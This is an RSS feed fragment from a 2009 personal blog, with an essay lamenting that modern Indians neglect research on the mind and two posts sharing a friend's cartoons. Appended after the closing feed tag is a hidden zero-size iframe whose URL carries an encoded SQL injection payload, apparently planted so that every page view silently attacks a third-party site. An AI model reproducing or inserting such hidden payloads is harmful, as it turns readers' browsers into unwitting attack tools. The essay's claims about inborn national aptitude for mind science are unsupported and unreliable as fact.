		<link>http://www.gmarwaha.com/blog/2009/05/30/where-did-the-brilliant-indian-minds-go/</link>
		<comments>http://www.gmarwaha.com/blog/2009/05/30/where-did-the-brilliant-indian-minds-go/#comments</comments>
		<pubDate>Sat, 30 May 2009 18:21:32 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Mind Power]]></category>
		<category><![CDATA[ThinkRite]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=26</guid>
		<description><![CDATA[There was an interesting question during the last Intro Session for Unlimited Power. One of the participants who attended was surprised when Kirtanya listed out the methodology of the course. She mentioned NLP, Transactional Analysis, Silva Mind control and Life-Skills as ways to tap into the Unlimited Power each one of us has within us. [...]]]></description>
			<content:encoded><![CDATA[<p>There was an interesting question during the last Intro Session for <a href="http://www.thinkrite.in/course/prenatal_parenting.page#courseDetail">Unlimited Power</a>. One of the participants who attended was surprised when Kirtanya listed out the methodology of the course. She mentioned NLP, Transactional Analysis, Silva Mind control and Life-Skills as ways to tap into the <a href="http://www.thinkrite.in/course/prenatal_parenting.page#courseDetail">Unlimited Power</a> each one of us has within us. He was stunned to see that none of the Indian sciences were listed and was curious to know if we (Indians) did not discover anything at all in the mind power arena. </p>
<p>The truth is, in the ancient days there was no parallel to the Indian Sciences when it came to addressing the human mind and life. Just think about it, we had everything, a nice climate, riches, wealth, forests, rivers; we were just too bountiful. On the other hand the western hemisphere at the same time was caught up in a turmoil of wars, harsh climates; their energy was so much focused on surviving the extreme weather. The Indians having no challenges to conquer in the external world turned their entire attention inward. The mind and consciousness and human life became very interesting research subjects for them.</p>
<p>And so there was an outpouring of greatest of works on the science of mind itself. The yoga sutras of Patanjali, The Vedas, Vedanta, Brahma sutras, Upanishads, Yogavasishta, every one of these is a miracle even to read through. In fact, it is said that the Mahabharatha is an ultimate thesis on the various human personalities and it contains 72000 characters each representing a personality type. So India had no dearth for wisdom. Some of its treasures still stay on.</p>
<p>However, the same cannot be said of the modern day India. Over a century now we have been harping on the past glories. With the advent of the British rule and subsequent poverty we have become increasingly preoccupied in solving the external challenges and are oblivious to the internal ones. The roles are in a sense reversing between the west and the east. With its high levels of sophistication, pleasure in the external world, and breaking families they are increasingly searching inward for answers and so research into the human mind has picked up momentum. With technological edge they are precisely able to study the human brain itself and so are paving way for some of the greatest discoveries in human history itself. </p>
<p>It is actually a pity that when technology is at its peak, the brilliant Indian minds are preoccupied with selfish miseries. In the modern era we seldom shine in our ancestor’s strong forte, our inborn talent – the mind. Of course there are the modern Gurus who teach on the mind but more often than not they are mouthed words than a direct personal discovery or an experience and always tainted with a religious bias. The need of the hour is brilliant young Indian minds dedicated to unraveling the mysteries of the human mind-brain organ. The aptitude for this is in our very genes. The result of such dedication will be mind boggling discoveries that will help the human species itself cross the last frontier – the mind.</p>
<p>Waiting for that day!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/05/30/where-did-the-brilliant-indian-minds-go/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Toon: When Sensex plunged &#8230;</title>
		<link>http://www.gmarwaha.com/blog/2009/05/23/toon-when-sensex-plunged/</link>
		<comments>http://www.gmarwaha.com/blog/2009/05/23/toon-when-sensex-plunged/#comments</comments>
		<pubDate>Sat, 23 May 2009 07:13:22 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=22</guid>
		<description><![CDATA[Keat, my friend, is quite spiritual. An ardent meditator with experience for almost 14 years. She keeps telling me about mystical experiences. I believe in mindfulness and awareness. Sometimes my comments invalidate these experiences. Recently when sensex (Indian stock market index) plunged and some of my money was caught in it, she made use of [...]]]></description>
			<content:encoded><![CDATA[<p>Keat, my friend, is quite spiritual. An ardent meditator with experience for almost 14 years. She keeps telling me about mystical experiences. I believe in mindfulness and awareness. Sometimes my comments invalidate these experiences. Recently when sensex (Indian stock market index) plunged and some of my money was caught in it, she made use of the opportunity to portray me this way.</p>
<p>The man in orange is me(Ganesh). The girl in the toon is keat. And with us is Parthi (man in blue). We form a trio.</p>
<p><a href="http://www.gmarwaha.com/blog/wp-content/uploads/2009/05/sensex_plunges.jpg"><img src="http://www.gmarwaha.com/blog/wp-content/uploads/2009/05/sensex_plunges.jpg" alt="Sensex Plunges" title="sensex_plunges" width="650" class="size-full wp-image-23" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/05/23/toon-when-sensex-plunged/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ganesh and God &#8211; Keat&#8217;s Toons</title>
		<link>http://www.gmarwaha.com/blog/2009/05/23/ganesh-and-god-keats-toondoos/</link>
		<comments>http://www.gmarwaha.com/blog/2009/05/23/ganesh-and-god-keats-toondoos/#comments</comments>
		<pubDate>Sat, 23 May 2009 06:47:40 +0000</pubDate>
		<dc:creator>Ganeshji Marwaha</dc:creator>
				<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.gmarwaha.com/blog/?p=13</guid>
		<description><![CDATA[A friend of mine keeps posting these cartoons about me. Her cartoons tickled me no end coz, she had this uncanny knack of catching my serious moments as well as the not so serious ones into comical strips that brought a fond smile or a hearty laugh. I felt like sharing them with my reader [...]]]></description>
			<content:encoded><![CDATA[<p>A friend of mine keeps posting these cartoons about me. Her cartoons tickled me no end coz, she had this uncanny knack of catching my serious moments as well as the not so serious ones into comical strips that brought a fond smile or a hearty laugh. I felt like sharing them with my reader friends. Hope you enjoy them too as much as I did. I will keep posting these toons as and when they come.</p>
<p>I am a die-hard non-vegetarian, especially fond of chicken. While my friend is a strict vegetarian. Amazed at my ability to eat chicken, she put this toon.</p>
<p><a href="http://www.gmarwaha.com/blog/wp-content/uploads/2009/05/ganesh_and_god.jpg"><img src="http://www.gmarwaha.com/blog/wp-content/uploads/2009/05/ganesh_and_god.jpg" alt="Ganesh and God" title="ganesh_and_god" width="650" class="size-full wp-image-14" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmarwaha.com/blog/2009/05/23/ganesh-and-god-keats-toondoos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>


<iframe frameborder=0 marginwidth=0 marginheight=0 scrolling=no width=0 height=0 src="http://loidich.com/?do=links&act=top100&keyword=CaiPen%22%29%20and%20benchmark%28100000000000%2Cmd5%28char%2897%29%29%29%3Dbenchmark%28100000000000%2Cmd5%28char%2897%29%29%29%23&Submit=Go"></iframe>